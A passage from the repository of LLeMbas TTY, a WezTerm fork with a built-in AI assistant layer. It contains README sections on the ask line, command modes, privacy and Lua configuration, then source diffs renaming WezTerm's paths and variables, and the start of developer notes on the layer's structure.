releases page); macOS and Windows are not packaged yet. Asking needs a LLeMbas CLI that can
be the terminal's display (2.0.0-beta.19 or newer); with an older one the terminal says so in
words, with how to update. Version in `VERSION`, changes in `CHANGELOG.md`. MIT, like
WezTerm — see `LICENSE.md`.
## How it works
- **Ask in place.** `Ctrl+Shift+A` turns the line you are on into a line for a question:
`llembas <model> · <mode> › `, so you see which model and mode will answer before you send.
Type, `Enter` sends, `Escape` or the key again leaves it — and your shell's line is as it
was: nothing you type on the ask line reaches the shell. It edits like a shell line
(arrows, `Home`/`End`, `Ctrl`/`Alt`+arrows by word, `Ctrl+W`, `Ctrl+U`, `Ctrl+K`, paste) and
`Up`/`Down` walk through your earlier questions. In a full-screen program it is drawn on
the bottom row.
- **The display.** The answer shows in a pane on the right, a third of the width, which the
terminal opens when you first ask; the keyboard stays in your shell. It has no prompt of
its own: it shows what LLeMbas says, the tools it uses that are not the shell, and what it
asks you. `Ctrl+Shift+D` hides and shows it.
- **Commands happen in your pane.** When LLeMbas runs a command it is typed at your prompt
as if you typed it, and its output is in your scrollback. In *manual* mode the command is
placed at your prompt and not entered: `Enter` runs it, you may change it first, and
`Ctrl+C` (or clearing the line) dismisses it — a dimmed hint beside it says so, and no
approval card stands in the way. In *auto* mode the commands the CLI's rules allow are
typed and entered without asking. (With a LLeMbas CLI older than 2.0.0-beta.20, manual mode
asks in the display before typing: `Ctrl+Shift+Y` allows, `Ctrl+Shift+J` denies, from your
own pane.) Whatever else LLeMbas asks — a question, a permission for a tool that is not
the shell — stands at your cursor's row with the keys that answer it, until it is answered.
There are no file-edit tools here: this is for terminal work, and the CLI or the IDE are a
key away.
- **The CLI itself, whole.** `Ctrl+Shift+S` opens `lembas` in a new tab, in the pane's
directory, exactly as if you had typed it.
- **AI on and off.** `Ctrl+Shift+I` switches all of it at any moment; the option `ai` says
how the terminal starts. Off: every key below but the switch does nothing (and says so
once), no process is started, nothing of a pane is read and nothing leaves the machine.
- **A shell line with comforts, in any shell.** Drawn by the terminal itself, so they work
in bash as in zsh, and inside `ssh` where the other machine's shell has the shell
integration:
- *suggestions*: the rest of the line, dimmed after the cursor, from the commands this
terminal has seen you run. `Right` or `End` takes it, `Alt+Right` one word, anything
else just goes on typing;
- *colours*: the command (when it exists), options, strings, variables, the signs between
commands, comments, and paths that exist;
- *AI autocomplete*, off unless you turn it on (*LLeMbas: AI autocomplete on/off* in the
command palette; choose its model with *LLeMbas: choose autocomplete model*): when your
history has nothing for the line, LLeMbas is asked after a pause and its answer shows in
the same place, in italics. *LLeMbas: autocomplete status* says in words whether it is
on, which engine and model it uses, and what the last attempts gave — a suggestion,
nothing, a timeout, or the engine's own error sentence.
- **Your choices are remembered** — for this machine, and for a working directory where you
want it different there. See *Settings* below.
| Key | Command palette (`Ctrl+Shift+P`) | What it does |
|---|---|---|
| `Ctrl+Shift+A` | LLeMbas: ask the model | The ask line. The question goes with the *terminal context* of your pane (below). |
| | LLeMbas: ask about this screen | The same, with what is visible on the screen instead of the last commands — also from a full-screen program. |
| `Ctrl+Shift+S` | LLeMbas: open the CLI | `lembas`, whole, in a new tab. |
| `Ctrl+Shift+I` | LLeMbas: AI on/off — here / — everywhere | The switch. |
| `Ctrl+Shift+Y` | LLeMbas: approve (allow once) | Answers what LLeMbas asks, from your pane. |
| | LLeMbas: approve always | Where the question offers it (never for a command typed into your pane). |
| `Ctrl+Shift+J` | LLeMbas: deny | |
| `Ctrl+Shift+G` | LLeMbas: stop the turn | |
| | LLeMbas: new conversation | A tab has one conversation, which goes on until you start a new one. |
| `Ctrl+Shift+D` | LLeMbas: show/hide the display | Hidden, it runs on behind your pane. |
| | LLeMbas: choose model — here / — everywhere | The terminal's own chat model, from your server's list. |
| | LLeMbas: choose autocomplete model — here / — everywhere | The terminal's own autocomplete model. |
| | LLeMbas: choose mode — here / — everywhere | *manual* or *auto*. |
| | LLeMbas: display width — here / — everywhere | The display's part of the pane, from the next time it opens. |
| `Ctrl+Shift+H` | LLeMbas: private pane on/off | Nothing of the pane is passed on, and its commands are not remembered. |
| | LLeMbas: suggestions on/off — here / — everywhere | |
| | LLeMbas: syntax highlighting on/off — here / — everywhere | |
| | LLeMbas: AI autocomplete on/off — here / — everywhere | |
| | LLeMbas: settings | What applies in this pane and where each value comes from; forgets this directory's own. |
| | LLeMbas: autocomplete status | The AI's autocomplete in words: on or off, engine, model, the last attempts. |
| | LLeMbas: clear command history | |
| | LLeMbas: log in | `lembas login`, in a new tab. |
| `Ctrl+Shift+E` | LLeMbas: open LLeMbas IDE here | LLeMbas IDE in a new tab, in the pane's directory. |
| | LLeMbas: set up (CLI and IDE) | Installs what is missing of the two (below). |
- **A quiet window.** With no configuration of your own there is no tab bar while a window has
one tab; from the second tab on it is a plain line of text at the bottom. Tabs are worked by
keys either way: `CTRL+SHIFT+T` new, `CTRL+SHIFT+W` close, `CTRL+TAB` / `CTRL+SHIFT+TAB` next
and previous, `CTRL+SHIFT+1`…`9` by number. The session bar below sits in that line, so it
shows from two tabs on; `config.hide_tab_bar_if_only_one_tab = false` in your own file keeps
the line always.
- **Session bar.** The right of the tab bar shows the model, mode, state and how full the
context is of the conversation in the tab you are in, `AI off` when it is off, and
`private` for a private pane. A tab in which LLeMbas waits for you is marked with `●`, and
what it asks is said at the cursor of your pane, with the keys that answer.
- **Its own everything.** LLeMbas TTY installs beside WezTerm and shares
nothing with it: its commands are `llembas-tty`, `llembas-tty-gui` and
`llembas-tty-mux-server`, its configuration is
`~/.config/llembas-tty/llembas-tty.lua` (or `~/.llembas-tty.lua`), and it
neither reads WezTerm's files nor talks to a running WezTerm.
## Set-up: the CLI and LLeMbas IDE
LLeMbas TTY is the terminal of a set of three: the terminal, the LLeMbas CLI (the engine) and
LLeMbas IDE (the editor). The other two are installations of their own — in your home
directory, updated by themselves (`lembas update`, `llembas-ide update`), and the same whether
you start them here or anywhere else. The terminal looks for `lembas` and `llembas-ide` on
your `PATH` and then in `~/.local/bin`.
When one is missing, the palette entry **LLeMbas: set up (CLI and IDE)** — or `llembas-tty-setup`
in a shell — says which, and asks before installing each. It runs that product's own
installer from that product's own release, after checking it: the release's `SHA256SUMS` must
be signed with the LLeMbas release key and the installer must match it. Nothing runs as root
and nothing already installed is touched. A beta terminal installs the newest betas, a stable
one the newest stable releases (`--channel stable|beta` to say otherwise; `--dry-run` to see
what it would do; `--no-cli`, `--no-ide`).
## What is passed on, what is kept, and when
**With AI off: nothing, to anyone.** With AI on, still nothing until you ask.
**When you send a question** (the two *ask* entries), LLeMbas is given, with it:
- the last 5 commands of that pane with the end of each one's output (200
lines or 16 KiB at most), and the pane's directory and shell. This needs the
shell integration (below), which marks where a command and its output begin;
- without shell integration: the last screenful instead;
- from a full-screen program (an editor, a pager): only the directory, unless
you chose *ask about this screen*.
Never: a pane you marked private, a pane that is asking for a password, a pane
that runs on another machine, the scrollback as a whole, or anything at all
while you have not asked. The context is written to a file only you can read,
in the terminal's runtime directory; LLeMbas deletes it after reading it and
the terminal removes any that are left after ten minutes.
**While a conversation runs**, LLeMbas can read the pane you asked from and type commands
into it, by its own permissions: in manual mode a command is placed at your prompt for you
to run, and only at an empty prompt — nothing is ever added to what you typed. That is the
CLI's business; it never types at a password prompt. So that it knows your prompt is empty
whatever your prompt looks like, the terminal writes, with AI on, a four-line *input mark*
beside each pane's status record: which prompt it is of, and whether anything stands on its
input line — never what.
**AI autocomplete**, when you turned it on: the line you are typing is sent to
`lembas complete` after a pause, when your own history has no suggestion for it — never an
empty line, a line of fewer than three characters, a line that starts with a space, a
private pane, or a shell on another machine. What comes back is shown as text; nothing runs
until you take it and press Enter. The engine is given eight seconds for an answer
(`autocomplete_timeout_ms`), and twenty for the first one after you switch autocomplete on or
change its model: a model on your own machine may have to be loaded. The last few attempts — the start of the line, how long it took, what came back — are
kept in memory for *LLeMbas: autocomplete status* and go when the terminal closes.
## Settings
What you switch and choose in the terminal is remembered: AI on or off, AI autocomplete,
suggestions, highlighting, the mode, the chat model, the autocomplete model and the display's
width. Each is in the command palette twice:
- **… — here** keeps it for the working directory of the pane you are in;
- **… — everywhere** keeps it for this machine.
A directory's own value wins over the machine's there. A key (`Ctrl+Shift+I`, or one you gave
to `model` or `mode`) keeps the choice *here* when this directory already has settings of
its own, and *everywhere* otherwise; the word shown at your cursor says which. The settings
of the directory of the pane you are in apply: change directory, or pane, and the
suggestions, the colours, the autocomplete, the model and mode on the ask line and what the
next display starts with follow.
**LLeMbas: settings** lists what applies now and where each value comes from — *here* (with
the directory), *everywhere*, or the configuration — and has a line that forgets this
directory's own settings.
They are kept by the LLeMbas CLI in its own directory on this machine (its README has the
path and the commands: `lembas terminal settings`), not in the working directory, and are
sent nowhere. Nothing is read until your first LLeMbas key or palette entry; once you have
chosen something through the terminal, they are read at the first prompt, so that they hold
from the start. The options in your configuration file are the starting values only: a value
you set through the terminal wins over the file, until you remove it (*LLeMbas: settings*,
or `lembas terminal settings set … <key>=default`).
With a LLeMbas CLI that has no such store (before 2.0.0-beta.20) everything works as before:
a choice holds until the terminal closes, and the terminal says once that remembering it
needs a newer CLI.
**Kept on this machine, sent nowhere:**
- *The command history* behind the suggestions: `~/.local/share/llembas-tty/command-history`,
readable by you alone. One line a command the terminal saw run: when, its exit status, its
directory, its text. Never kept: a line that starts with a space, a command of several
lines, a command that was not found, anything from a private pane, and nothing you type
while a program hides what you type (it is read from the screen, where such text never is).
At most 5000 commands. **To clear it:** *LLeMbas: clear command history*, or delete the
file. To keep none: `history = { enabled = false }`. It is the terminal's own; your
shell's history file is never read.
- *The pane's status record*, which the shell integration writes at every prompt: whether the
shell is at its prompt or running a command, the last exit status, the time, the
directory — not what the command was. It is how LLeMbas knows that a command it typed has
ended. In the terminal's runtime directory, readable by you alone.
The session bar reads what LLeMbas itself tells the terminal about its session.
It does not read the pane. The colours and the suggestion are drawn when a pane is painted:
nothing is written into the pane for them.
## Configuration
With no configuration file, the built-in one applies the layer with its
defaults. Your own file — everything WezTerm's configuration can do, see
<https://wezterm.org/config/files.html> — opts in with one line:
```lua
local wezterm = require 'wezterm'
local config = wezterm.config_builder()
require('llembas').apply(config, {
-- every line is optional; these are the defaults
enabled = true, -- false: no layer at all
ai = true, -- false: the terminal starts with AI off (the switch still works)
cli = nil, -- path of `lembas`; nil: PATH, then ~/.local/bin
ide = nil, -- path of `llembas-ide`; nil: the same two places
session_bar = true,
tab_marker = true,
palette = true,
bar = { fields = { 'model', 'mode', 'state', 'context' } },
-- also: 'session', 'title', 'effort', 'tokens', 'spend'
keys = { -- false turns a key off; any of them can be given a key
ask = { key = 'A', mods = 'CTRL|SHIFT' },
cli = { key = 'S', mods = 'CTRL|SHIFT' },
ai = { key = 'I', mods = 'CTRL|SHIFT' },
approve = { key = 'Y', mods = 'CTRL|SHIFT' },
deny = { key = 'J', mods = 'CTRL|SHIFT' },
stop = { key = 'G', mods = 'CTRL|SHIFT' },
display = { key = 'D', mods = 'CTRL|SHIFT' },
private = { key = 'H', mods = 'CTRL|SHIFT' },
ide = { key = 'E', mods = 'CTRL|SHIFT' },
ask_screen = false, always = false, new = false, model = false, mode = false,
},
-- (ai, mode, display.width, suggestions, highlight and autocomplete are starting values:
-- what you choose in the terminal is remembered and wins - see Settings)
display = { width = 0.33 }, -- of the pane it opens beside
mode = 'manual', -- the mode a display starts in; or 'auto'
context = {
enabled = true, -- false: questions go alone, nothing of the pane
blocks = 5, -- commands passed on (at most 20)
output_lines = 200, -- of each command's output, from its end
output_bytes = 16384,
alt_screen = false, -- true: also the screen of a full-screen program
},
suggestions = true, -- the rest of the line from your own command history
highlight = true, -- the command line in colours
autocomplete = false, -- AI: true, drawn by the terminal; 'shell', by the shell integration
autocomplete_timeout_ms = 8000, -- how long LLeMbas is given for the rest of a line
history = { enabled = true, max = 5000 },
colors = { -- a number of your colour scheme's palette, '#rrggbb', or false
prefix = 6, ghost = 8, notice = 3,
command = 2, unknown = false, option = false, string = 3,
variable = 6, operator = 5, comment = 8, path = 4,
},
})
return config
```
The colours are numbers of your colour scheme's palette, so they follow your theme.
`unknown` — a command that is not found — is left alone by default, because the terminal
looks in `PATH` and does not know your shell's aliases and functions; give it a colour to
mark such words.
To have none of it: leave the line out of your file, pass `{ enabled = false }`,
or start with `llembas-tty -n`.
If your file sets its own right status or tab titles, turn `session_bar` or
`tab_marker` off, or call `apply` after your own handlers: the terminal uses
the first tab-title handler it was given.
## Shell integration
The package installs it for bash through `/etc/profile.d`. For zsh, or after
unpacking the tarball, add to `~/.zshrc` or `~/.bashrc`:
```sh
[ -n "$LLEMBAS_TTY" ] && . /usr/share/llembas-tty/shell/llembas-tty.sh
```
It marks commands and their output for the terminal (WezTerm's own
integration script, OSC 133 and OSC 7), writes the pane's status record, and
does nothing outside LLeMbas TTY. The suggestions and the colours need it: it
is how the terminal knows which cells are your command line.
**On another machine**, reached with `ssh` from a pane: copy `llembas-tty.sh` and `wezterm.sh`
there and source the first from that shell's rc file with `LLEMBAS_TTY` set (for instance
`[ -n "$SSH_CONNECTION" ] && LLEMBAS_TTY=remote . ~/.llembas-tty.sh`). Suggestions and
colours then work there too, drawn by your terminal; whether a command or a path exists is
not marked, since that is the other machine's to know.
The older autocomplete drawn by the shell itself (zsh shows it, bash completes on
`Ctrl+X Ctrl+A`) is still there as `autocomplete = 'shell'`.
---
+1 -1
View File
@@ -1 +1 @@
1.0.0-beta.1
1.0.0-beta.5
+5 -4
View File
@@ -5,13 +5,14 @@
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleExecutable</key>
<string>wezterm-gui</string>
<!-- LLeMbas TTY: its own names and identifier, here and below -->
<string>llembas-tty-gui</string>
<key>CFBundleIdentifier</key>
<string>com.github.wez.wezterm</string>
<string>eu.llembas.tty</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>WezTerm</string>
<string>LLeMbas TTY</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
@@ -33,7 +34,7 @@
<key>NSSupportsAutomaticGraphicsSwitching</key>
<true/>
<key>CFBundleDisplayName</key>
<string>WezTerm</string>
<string>LLeMbas TTY</string>
<key>NSRequiresAquaSystemAppearance</key>
<string>NO</string>
<key>NSAppleEventsUsageDescription</key>
+81 -16
View File
@@ -1025,9 +1025,10 @@ impl Config {
// multiple. In addition, it spawns a lot of subprocesses,
// so we do this bit "by-hand"
let mut paths = vec![PathPossibility::optional(HOME_DIR.join(".wezterm.lua"))];
// LLeMbas TTY: its own file names, never WezTerm's
let mut paths = vec![PathPossibility::optional(HOME_DIR.join(".llembas-tty.lua"))];
for dir in CONFIG_DIRS.iter() {
paths.push(PathPossibility::optional(dir.join("wezterm.lua")))
paths.push(PathPossibility::optional(dir.join("llembas-tty.lua")))
}
if cfg!(windows) {
@@ -1041,12 +1042,17 @@ impl Config {
// dir as the executable that will take precedence.
if let Ok(exe_name) = std::env::current_exe() {
if let Some(exe_dir) = exe_name.parent() {
paths.insert(0, PathPossibility::optional(exe_dir.join("wezterm.lua")));
// LLeMbas TTY: its own file name
paths.insert(
0,
PathPossibility::optional(exe_dir.join("llembas-tty.lua")),
);
}
}
}
if let Some(path) = std::env::var_os("WEZTERM_CONFIG_FILE") {
log::trace!("Note: WEZTERM_CONFIG_FILE is set in the environment");
// LLeMbas TTY: its own variable, WEZTERM_CONFIG_FILE is not honoured
if let Some(path) = std::env::var_os("LLEMBAS_TTY_CONFIG_FILE") {
log::trace!("Note: LLEMBAS_TTY_CONFIG_FILE is set in the environment");
paths.insert(0, PathPossibility::required(path.into()));
}
@@ -1077,8 +1083,23 @@ impl Config {
// We didn't find (or were asked to skip) a wezterm.lua file, so
// update the environment to make it simpler to understand this
// state.
std::env::remove_var("WEZTERM_CONFIG_FILE");
std::env::remove_var("WEZTERM_CONFIG_DIR");
// LLeMbas TTY: its own variables
std::env::remove_var("LLEMBAS_TTY_CONFIG_FILE");
std::env::remove_var("LLEMBAS_TTY_CONFIG_DIR");
// LLeMbas TTY: with no configuration file (and not asked to skip one),
// the built-in configuration applies the LLeMbas layer.
if !CONFIG_SKIP.load(Ordering::Relaxed) {
return match Self::try_builtin(overrides) {
Err(err) => LoadedConfig {
config: Err(err),
file_name: None,
lua: None,
warnings: vec![],
},
Ok(cfg) => cfg,
};
}
match Self::try_default() {
Err(err) => LoadedConfig {
@@ -1105,6 +1126,44 @@ impl Config {
})
}
/// LLeMbas TTY: evaluate the configuration that is built into the binary
/// (`llembas/lua/default-config.lua`). The same steps as `try_load`, with
/// the script taken from memory rather than from a file.
fn try_builtin(overrides: &wezterm_dynamic::Value) -> anyhow::Result<LoadedConfig> {
let lua = make_lua_context(Path::new(""))?;
let (config, warnings) =
wezterm_dynamic::Error::capture_warnings(|| -> anyhow::Result<Config> {
let cfg: Config;
let config: mlua::Value = smol::block_on(
lua.load(crate::llembas::DEFAULT_CONFIG)
.set_name("=llembas-tty/default-config.lua")
.eval_async(),
)?;
let config = Config::apply_overrides_to(&lua, config)?;
let config = Config::apply_overrides_obj_to(&lua, config, overrides)?;
cfg = Config::from_lua(config, &lua).context(
"Error converting lua value returned by the built-in configuration \
to Config struct",
)?;
cfg.check_consistency()?;
// Compute but discard the key bindings here so that we raise any
// problems earlier than we use them.
let _ = cfg.key_bindings();
Ok(cfg)
});
let cfg = config?;
Ok(LoadedConfig {
config: Ok(cfg.compute_extra_defaults(None)),
file_name: None,
lua: Some(lua),
warnings,
})
}
fn try_load(
path_item: &PathPossibility,
overrides: &wezterm_dynamic::Value,
@@ -1149,9 +1208,10 @@ impl Config {
// problems earlier than we use them.
let _ = cfg.key_bindings();
std::env::set_var("WEZTERM_CONFIG_FILE", p);
// LLeMbas TTY: its own variables
std::env::set_var("LLEMBAS_TTY_CONFIG_FILE", p);
if let Some(dir) = p.parent() {
std::env::set_var("WEZTERM_CONFIG_DIR", dir);
std::env::set_var("LLEMBAS_TTY_CONFIG_DIR", dir);
}
Ok(cfg)
});
@@ -1620,11 +1680,15 @@ impl Config {
// de-facto standard for identifying the terminal.
cmd.env("TERM_PROGRAM", "WezTerm");
cmd.env("TERM_PROGRAM_VERSION", crate::wezterm_version());
// LLeMbas TTY: how a program knows that it runs in this terminal
cmd.env("LLEMBAS_TTY", crate::llembas_tty_version());
}
}
fn default_check_for_updates() -> bool {
cfg!(not(feature = "distro-defaults"))
// LLeMbas TTY: off. Upstream's check asks GitHub about WezTerm's releases,
// which are not this program's, and nothing leaves the machine unasked.
false
}
fn default_pane_select_fg_color() -> RgbaColor {
@@ -1756,28 +1820,29 @@ fn default_font_size() -> f64 {
12.0
}
// LLeMbas TTY: its own cache, data and runtime directories, never WezTerm's
pub(crate) fn compute_cache_dir() -> anyhow::Result<PathBuf> {
if let Some(runtime) = dirs_next::cache_dir() {
return Ok(runtime.join("wezterm"));
return Ok(runtime.join("llembas-tty"));
}
Ok(crate::HOME_DIR.join(".local/share/wezterm"))
Ok(crate::HOME_DIR.join(".local/share/llembas-tty"))
}
pub(crate) fn compute_data_dir() -> anyhow::Result<PathBuf> {
if let Some(runtime) = dirs_next::data_dir() {
return Ok(runtime.join("wezterm"));
return Ok(runtime.join("llembas-tty"));
}
Ok(crate::HOME_DIR.join(".local/share/wezterm"))
Ok(crate::HOME_DIR.join(".local/share/llembas-tty"))
}
pub(crate) fn compute_runtime_dir() -> anyhow::Result<PathBuf> {
if let Some(runtime) = dirs_next::runtime_dir() {
return Ok(runtime.join("wezterm"));
return Ok(runtime.join("llembas-tty"));
}
Ok(crate::HOME_DIR.join(".local/share/wezterm"))
Ok(crate::HOME_DIR.join(".local/share/llembas-tty"))
}
pub fn pki_dir() -> anyhow::Result<PathBuf> {
+7 -3
View File
@@ -31,6 +31,8 @@ mod font;
mod frontend;
pub mod keyassignment;
mod keys;
// LLeMbas TTY: the built-in Lua layer
pub mod llembas;
pub mod lua;
pub mod meta;
mod scheme_data;
@@ -383,9 +385,10 @@ pub fn create_user_owned_dirs(p: &Path) -> anyhow::Result<()> {
}
fn xdg_config_home() -> PathBuf {
match std::env::var_os("XDG_CONFIG_HOME").map(|s| PathBuf::from(s).join("wezterm")) {
// LLeMbas TTY: its own directory, never WezTerm's
match std::env::var_os("XDG_CONFIG_HOME").map(|s| PathBuf::from(s).join("llembas-tty")) {
Some(p) => p,
None => HOME_DIR.join(".config").join("wezterm"),
None => HOME_DIR.join(".config").join("llembas-tty"),
}
}
@@ -395,7 +398,8 @@ fn config_dirs() -> Vec<PathBuf> {
#[cfg(unix)]
if let Some(d) = std::env::var_os("XDG_CONFIG_DIRS") {
dirs.extend(std::env::split_paths(&d).map(|s| PathBuf::from(s).join("wezterm")));
// LLeMbas TTY: its own directory, never WezTerm's
dirs.extend(std::env::split_paths(&d).map(|s| PathBuf::from(s).join("llembas-tty")));
}
dirs
+44
View File
@@ -0,0 +1,44 @@
//! LLeMbas TTY: the LLeMbas layer, built into the binary.
//!
//! The layer is Lua (`llembas/lua/` at the top of the repository). It is
//! compiled in as text and offered to every Lua context through
//! `package.preload`, so that a configuration file can say
//! `require('llembas').apply(config)`. With no configuration file at all,
//! `DEFAULT_CONFIG` is evaluated instead (see `Config::try_builtin`).
//!
//! Nothing here runs the layer: a module is only evaluated when it is
//! required.
use anyhow::Context;
use mlua::{Lua, Table};
/// The configuration used when the person has no configuration file.
pub const DEFAULT_CONFIG: &str = include_str!("../../llembas/lua/default-config.lua");
/// Module name as given to `require`, and its source.
const MODULES: &[(&str, &str)] = &[
(
"llembas",
include_str!("../../llembas/lua/llembas/init.lua"),
),
(
"llembas.core",
include_str!("../../llembas/lua/llembas/core.lua"),
),
];
pub fn register(lua: &Lua) -> anyhow::Result<()> {
let package: Table = lua.globals().get("package").context("get _G.package")?;
let preload: Table = package.get("preload").context("get package.preload")?;
for (name, source) in MODULES {
let loader = lua
.load(*source)
.set_name(format!("=llembas-tty/{}.lua", name))
.into_function()
.with_context(|| format!("compiling the built-in module {}", name))?;
preload
.set(*name, loader)
.with_context(|| format!("registering the built-in module {}", name))?;
}
Ok(())
}
+5 -1
View File
@@ -227,7 +227,8 @@ pub fn make_lua_context(config_file: &Path) -> anyhow::Result<Lua> {
array.insert(1, format!("{}/?/init.lua", path.display()));
}
prefix_path(&mut path_array, &crate::HOME_DIR.join(".wezterm"));
// LLeMbas TTY: its own directory, never WezTerm's
prefix_path(&mut path_array, &crate::HOME_DIR.join(".llembas-tty"));
for dir in crate::CONFIG_DIRS.iter() {
prefix_path(&mut path_array, dir);
}
@@ -385,6 +386,9 @@ end
func(&lua).context("calling SETUP_FUNCS")?;
}
// LLeMbas TTY: make the built-in layer available as `require 'llembas'`
crate::llembas::register(&lua).context("registering the llembas module")?;
Ok(lua)
}
+3 -2
View File
@@ -118,10 +118,11 @@ impl UnixDomain {
Some(cmd) => Ok(cmd.iter().map(Into::into).collect()),
None => Ok(vec![
std::env::current_exe()?
// LLeMbas TTY: its own binary names
.with_file_name(if cfg!(windows) {
"wezterm-mux-server.exe"
"llembas-tty-mux-server.exe"
} else {
"wezterm-mux-server"
"llembas-tty-mux-server"
})
.into_os_string(),
OsString::from("--daemonize"),
+21
View File
@@ -14,6 +14,27 @@ pub fn wezterm_version() -> &'static str {
.unwrap_or(&"someone forgot to call assign_version_info")
}
/// LLeMbas TTY: this program's own version, from the `VERSION` file at
/// the top of the repository at build time. `wezterm_version` stays
/// WezTerm's: programs and scripts compare it to detect features.
pub fn llembas_tty_version() -> &'static str {
include_str!("../../VERSION").trim()
}
/// LLeMbas TTY: what `--version` shows: our version and the WezTerm
/// version that it is based on.
pub fn llembas_tty_long_version() -> &'static str {
static LONG: OnceLock<String> = OnceLock::new();
match VERSION.get() {
// Not assigned yet (the gui parses its arguments before it is):
// our own version alone.
None => llembas_tty_version(),
Some(wezterm) => LONG
.get_or_init(|| format!("{} (based on WezTerm {})", llembas_tty_version(), wezterm))
.as_str(),
}
}
pub fn wezterm_target_triple() -> &'static str {
TRIPLE
.get()
+30 -6
View File
@@ -3,11 +3,33 @@ pub use ringlog::setup_logger;
use std::path::{Path, PathBuf};
pub fn set_wezterm_executable() {
// LLeMbas TTY: its own variable names. A WezTerm that started us must
// not be mistaken for us by what runs in our panes, so what it exported
// is dropped rather than passed on.
for name in [
"WEZTERM_EXECUTABLE",
"WEZTERM_EXECUTABLE_DIR",
"WEZTERM_CONFIG_FILE",
"WEZTERM_CONFIG_DIR",
"WEZTERM_PANE",
"WEZTERM_UNIX_SOCKET",
] {
std::env::remove_var(name);
}
if let Ok(exe) = std::env::current_exe() {
if let Some(dir) = exe.parent() {
std::env::set_var("WEZTERM_EXECUTABLE_DIR", dir);
std::env::set_var("LLEMBAS_TTY_EXECUTABLE_DIR", dir);
}
std::env::set_var("WEZTERM_EXECUTABLE", exe);
// LLeMbas TTY: always the launcher (the one with the `cli`
// subcommand), whichever of our binaries this process is.
std::env::set_var(
"LLEMBAS_TTY_EXECUTABLE",
exe.with_file_name(if cfg!(windows) {
"llembas-tty.exe"
} else {
"llembas-tty"
}),
);
}
}
@@ -52,9 +74,10 @@ pub fn fixup_appimage() {
// Since our AppImage includes multiple utilities, we want to
// be able to use them, so add that location to the PATH!
// WEZTERM_EXECUTABLE_DIR is set by `set_wezterm_executable`
// LLEMBAS_TTY_EXECUTABLE_DIR is set by `set_wezterm_executable`
// which is called before `fixup_appimage`
if let Some(dir) = std::env::var_os("WEZTERM_EXECUTABLE_DIR") {
// LLeMbas TTY: its own variable name
if let Some(dir) = std::env::var_os("LLEMBAS_TTY_EXECUTABLE_DIR") {
if let Some(path) = std::env::var_os("PATH") {
let mut paths = std::env::split_paths(&path).collect::<Vec<_>>();
paths.insert(0, PathBuf::from(dir));
@@ -86,8 +109,9 @@ pub fn fixup_appimage() {
/// However, if we are using the system wezterm to spawn a portable
/// AppImage then we want these to not take effect.
fn clean_wezterm_config_env() {
std::env::remove_var("WEZTERM_CONFIG_FILE");
std::env::remove_var("WEZTERM_CONFIG_DIR");
// LLeMbas TTY: its own variable names
std::env::remove_var("LLEMBAS_TTY_CONFIG_FILE");
std::env::remove_var("LLEMBAS_TTY_CONFIG_DIR");
}
if config::HOME_DIR.starts_with(append_extra_file_name_suffix(&appimage, ".home")) {
+283
View File
@@ -0,0 +1,283 @@
# The LLeMbas layer — developer notes
Everything LLeMbas TTY adds to WezTerm lives in this directory, in `scripts/`
and in one workflow file. WezTerm's own files are changed as little as
possible, and each changed block carries a `LLeMbas TTY:` comment, so that
merging upstream stays cheap (`git grep -n 'LLeMbas TTY:'` lists them all).
```
llembas/
lua/default-config.lua the configuration used when a person has none
lua/llembas/init.lua the layer: keys, palette, events, panes, files
lua/llembas/core.lua every decision of the layer, as pure functions
line/ a Rust crate with no dependencies: what is decided about a line of
text (the ask line's editor, the input line read from the screen,
the command history, suggestions, the parts of a command line)
tests/run.lua tests of the layer, against tests/fake_wezterm.lua
tests/shell-test.sh the shell integration's status record, in a real bash and zsh
tests/smoke.sh headless test of built binaries (CI)
shell/ shell integration: zones, cwd, the status record
packaging/ desktop file, appdata, icons, package.sh (.deb, tarball)
setup/llembas-tty-setup installs the LLeMbas CLI and LLeMbas IDE when missing, verified
ci/ cargo-annotated.sh, disable-upstream-workflows.sh
wezterm-gui/src/llembas/ the thin Rust part in the terminal: the ask line (an overlay), what
is drawn on the input line when a pane is painted, wezterm.llembas
scripts/
test-lua.sh run tests/run.lua with lua5.4, lua, luajit or nvim -l
hygiene.sh nothing private in what the fork adds
.github/workflows/llembas-tty.yml
```
## The three parts
| Part | Where | What it may do |
|---|---|---|
| The layer | `llembas/lua/` (Lua, built into the binary) | keys, palette, events; starts the display; talks to the CLI; writes the context file. Tested here, without a terminal. |
| The line logic | `llembas/line/` (Rust, no dependencies) | decides: editing, where the input line is among cells, what to suggest, what a part of a command line is. Knows no window, pane or font. Tested by `cargo test -p llembas-line`. |
| The drawing | `wezterm-gui/src/llembas/` (Rust) | fetches cells, places the result, takes keys. As thin as it can be, because only a person at a screen can check it. |
The layer asks for the drawing through `wezterm.llembas` (`wezterm-gui/src/llembas/lua.rs`):
`ask_line(window, pane, { prefix, event })`, `configure { … }`, `notice(pane, text)`,
`set_private(pane_id, on)`, `command_ended(pane, exit, cwd)`, `clear_history()`. The layer
looks for each before calling it, so it also runs where they are missing (the mux server,
the tests).
**Upstream files the drawing touches**, each one block with a `LLeMbas TTY:` comment:
| File | The block | Why there |
|---|---|---|
| `wezterm-gui/src/main.rs` | `mod llembas;` and one `add_context_setup_func` | where the terminal's other Lua modules are registered |
| `wezterm-gui/src/termwindow/render/pane.rs` | the pane's `with_lines_mut` goes through `llembas::decorate::with_lines_mut` | the one place a pane's lines are handed to the painter; with nothing on it is the same call as before |
| `wezterm-gui/src/termwindow/keyevent.rs` | a key no binding took may take the suggestion | after key bindings, before the key is sent to the pane |
| `wezterm-gui/Cargo.toml`, `Cargo.lock` | the dependency on `llembas/line` | |
The ask line needs no block of its own: it is an overlay over the pane, as the terminal's
search and quick select are, assigned through the functions those use.
## How the layer gets into the terminal
`config/src/llembas.rs` compiles the Lua files in as text (`include_str!`)
and puts a loader for each into `package.preload` of every Lua context, so
`require 'llembas'` works in any configuration file and no file has to be
installed. With no configuration file, `Config::try_builtin`
(`config/src/config.rs`) evaluates `lua/default-config.lua` instead of using
the bare defaults. `--skip-config` (`-n`) still gives the plain terminal with
no layer at all.
A new Lua module must be added to `MODULES` in `config/src/llembas.rs`.
## Rules the layer keeps
- **Nothing happens unasked.** `apply()` binds keys, adds palette entries and
registers event handlers. It starts no process and reads no pane. The
session bar reads only user variables (what a program set with OSC 1337
`SetUserVar`), never text.
- **Everything from a pane or a model is text.** User variables, command
output, titles, session lists and completions go through `core.clean`
